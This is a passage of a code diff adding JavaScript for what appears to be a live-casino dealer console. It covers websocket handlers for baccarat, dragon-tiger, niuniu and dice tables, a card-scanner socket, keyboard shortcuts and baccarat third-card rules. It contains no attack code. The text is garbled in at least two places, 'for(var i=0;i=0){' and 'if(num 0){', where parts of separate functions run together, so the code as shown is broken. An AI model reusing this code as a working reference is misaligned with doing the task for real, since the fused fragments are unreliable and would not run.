+ card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && (game_id == 1 || game_id == 2)) { + //doScanCards(); + + sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + //sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":1, 'type': 'SYS', "biz": number_tab_id}) + + } else if (scanner_type == 2 && game_id == 4) { + doNnScanPositionCard(); + doNnScanCards(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + sbCardsInfo = [[], [], [], [], [], []]; + //sbSocket.emit("stopData",{"tableCode":casinoTableId, "type":"SYS"}); + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingNn',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingTc',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingToning',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#toning_result').val(""); + $('.toning-result-num').removeClass("active"); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideToningBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#dice_result').val(""); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +// 识别Socket +var sbSocket = io(localSbServer,{transports: ['websocket']}); +sbSocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); + +sbSocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); + +// 加入识别服务 +sbSocket.on('joinEvent', function(data) { + if (data.code == 200 && data.type == 'SYS' && data.tableCode == casinoTableId) { + //layer.msg('Connect SB Server Success'); + } else { + layer.msg('Connect Faild. Please double check the sb server'); + } +}); + +// 启动识别响应事件 +sbSocket.on('startEvent', function(data) { + // 200: 启动成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } + +}); + +// 停止识别响应事件 +sbSocket.on('stopEvent', function(data) { + // 200: 停止成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } +}); + +var sbCardsInfo = [[], []]; +var CONFIRM_TIMES = 1; + +//CardsInfo[0]['card'] = ''; +//sbCardsInfo[0]['tims'] = 0; + +// 数据接收事件 +sbSocket.on('dataEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,2 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + data.data.forEach(function(value, index) { + if (value.card != 'None' && value.card != '') { + var query = new Object(); + query.card = cardToServer(value.card); + if (query.card != 'None') { + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + query.position = position[value.index - 1]; + sendScanDt(query); + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + + } + + } + + } + + }); + } +}); +// 收到指定下标数据 +sbSocket.on('scanCardWithIndexEvent', function(data) { + +}); + +// 收到范围下标数据 +sbSocket.on('dataWithAllCardsEvent', function(data) { + +}); +/* +// 数据接收事件 +sbSocket.on('dataWithAllCardsEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId) { + data.data.forEach(function(value) { + if (value.card != 'None') { + var query = new Object(); + query.card = cardToServer(value.card); + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } + + }); + } +}); +*/ + + +sbSocket.emit('join', { 'tableCode':casinoTableId, 'type':'SYS'}); + + + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + if(game_id == 6){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100){ + var result_num = -1; + switch (e.keyCode){ + case 96: + result_num = 0; + break; + case 97: + result_num = 1; + break; + case 98: + result_num = 2; + break; + case 99: + result_num = 3; + break; + case 100: + result_num = 4; + break; + } + if(result_num >= 0){ + $('#toning_result').val(result_num); + $(".toning-result-" + result_num).addClass("active").siblings().removeClass("active"); + } + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/banker.png'); + mp3List = ['banker_win.mp3']; + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/banker_bpair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/banker_ppair.png'); + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/banker_bpair_ppair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/player.png'); + mp3List = ['player_win.mp3']; + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/player_bpair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/player_ppair.png'); + mp3List = ['player_win.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/player_bpair_ppair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/tie.png'); + mp3List = ['tie.mp3']; + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/tie_bpair.png'); + mp3List = ['tie.mp3','banker_pair.mp3']; + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/tie_ppair.png'); + mp3List = ['tie.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/tie_bpair_ppair.png'); + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + audioMp3(mp3List).Play(); +} + +function showPngDt (opening){ + if(opening == 1) { + $('#openingPng').attr('src','/static/handle/img/dragon_win.png'); + mp3List = ['dragon_win.mp3']; + } + if(opening == 2) { + $('#openingPng').attr('src','/static/handle/img/tiger_win.png'); + mp3List = ['tiger_win.mp3']; + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/img/tie.png'); + mp3List = ['tie.mp3']; + } + audioMp3(mp3List).Play(); +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=true; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + },3000) + // 清除状态 + card_info=[];///清除牌数据 + setTimeout(function(){ + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard .card-box .list").removeClass("win"); + $(".begincard").fadeOut(function(){ isopentime=false;}); + $(".begincard .list .draw .text").css("text-align","center") + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html(""); + $(".begincard .box .list .card").find(".face").css("background-image","url('/static/handle/img/faces.png')") + $(".begincard .box .list .draw .card").find(".face").css("background-image","url('/static/handle/img/faces1.png')") + $(".begincard .list .draw .rotate").css("display",'none') + $(".table-info .nobegin-tip").fadeIn(); + + }) + },5000) +} +function gameResultNn(data){ + isWin.win_player_1=data.round.win_player_1; + isWin.win_player_2=data.round.win_player_2; + isWin.win_player_3=data.round.win_player_3; + var newmp3List=[]; + if(data.round.win_player_1==1){ + newmp3List.push('nn_X1.wav'); + isWin.text.push("P1"); + $(".begincard .box2").addClass("win"); + } + if(data.round.win_player_2==1){ + newmp3List.push('nn_X2.wav'); + isWin.text.push("P2"); + $(".begincard .box3").addClass("win"); + } + if(data.round.win_player_3==1){ + newmp3List.push('nn_X3.wav'); + isWin.text.push("P3"); + $(".begincard .box4").addClass("win"); + } + if(data.round.win_player_1==0&&data.round.win_player_2==0&&data.round.win_player_3==0){ + newmp3List.push('nn_Zwin.wav'); + isWin.text.push("B"); + $(".begincard .box1").addClass("win"); + } + var str=isWin.text.length==0?'Banker':isWin.text.join('、')+" Win"; + $(".begincard .win-tip").html(str); + $(".begincard .win-tip").addClass("show"); + let mp3List = newmp3List; + audioMp3(mp3List).Play(); + + isopentime=true; + + setTimeout(function(){ + $(".begincard .win-tip").removeClass("show");isWin.text=[]; + },3000); + setTimeout(function(){ + $(".begincard").fadeOut(function(){ + isopentime=false; + $(".begincard .box").animate({"opacity":"0"}); + $(".begincard .box1").animate({"top":"100%","opacity":"0"}); + $(".begincard .box2").animate({"top":"100%","opacity":"0"}); + $(".begincard .box3").animate({"top":"100%","opacity":"0"}); + $(".begincard .box4").animate({"top":"100%","opacity":"0"}); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + //清空牌数据 + $(".begincard div").removeClass("win"); + $(".list .card .face").css("background-image",""); + }); + },5000); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } else { + if (card_info.length <= 4) { + $('.begincard .player-card .draw .rotate').css("display","none"); + } + + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + card_info["banker_3"]=data.round.number; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + } + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + if (game_id == 6){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showToningBox(); + } else if(game_id == 7){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + } else { + $(".begincard").fadeIn(function(){ + if(game_id==1||game_id==2){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }else if(game_id==4||game_id==5){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + } + $('.nobegin-tip').html(""); + $('#show-status-span').html(lang[BetStatus.bet_msg]); + }); + } + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + if(game_id == 5||game_id == 4){ + if(BetStatus.rob_status == 1){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄中'); + }else if(BetStatus.rob_status == 2){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄结束,开始下注'); + } + } + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +// 重置下注数目 +var clearBetAmount = function (){ + $('#banker_amount').html(0); + $('#player_amount').html(0); + $('#tie_amount').html(0); + $('#banker_pair_amount').html(0); + $('#player_pair_amount').html(0); + $('#all_amount').html(0); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + 